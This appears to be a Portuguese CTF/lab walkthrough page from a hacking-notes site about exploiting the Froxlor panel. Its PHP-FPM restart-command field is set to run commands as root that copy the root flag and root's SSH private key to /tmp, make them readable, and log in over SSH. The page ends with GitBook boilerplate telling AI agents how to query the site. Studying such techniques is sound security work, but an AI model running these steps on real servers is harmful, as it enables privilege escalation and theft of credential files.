> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/froxlor-cms-exploitation.md).

# Froxlor

## Explorando o Froxlor - PHP-FPM

<div data-full-width="false"><figure><img src="/files/fd4e48db2460faee5d9aceddc966815d0114c8ad" alt=""><figcaption></figcaption></figure></div>

**Criação de uma nova versão do PHP:**

Após fazer login, vá para `PHP > versões do PHP-FPM` e crie uma nova versão. No campo do comando de reinicialização do PHP-FPM, insira: `cp /root/root.txt /tmp/root.txt`

<figure><img src="/files/f8010b05f3957f98f88bcb4c81aae3e6243bbd36" alt=""><figcaption></figcaption></figure>

Salve a configuração e então vá para `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Desative o PHP-FPM, salve, reative-o e salve novamente. Isso aciona o comando de cópia.

<figure><img src="/files/c45cb8407a5569d54d4ef2dc2a922fec98765e83" alt=""><figcaption></figcaption></figure>

O arquivo agora foi copiado; ajuste as permissões em seguida:

<figure><img src="/files/5406ed6c095ceb3bd338dbf43a996c03bb6c4959" alt=""><figcaption></figcaption></figure>

Repita o mesmo processo, substituindo o comando por:

```bash
chmod 644 /tmp/root.txt
```

### Flag de root : )

<figure><img src="/files/e9413badcbdd9446ff5d8339af33b71de74e12ea" alt=""><figcaption></figcaption></figure>

Para se conectar como root, copie a chave SSH do root `id_rsa` e repita o processo para corrigir as permissões:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="/files/cb2f00883887ee7b56ce81cbf9d2d0aec22fe614" alt=""><figcaption></figcaption></figure>

Então conecte-se via SSH com a chave:

```bash
ssh -i id_rsa root@localhost
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/froxlor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
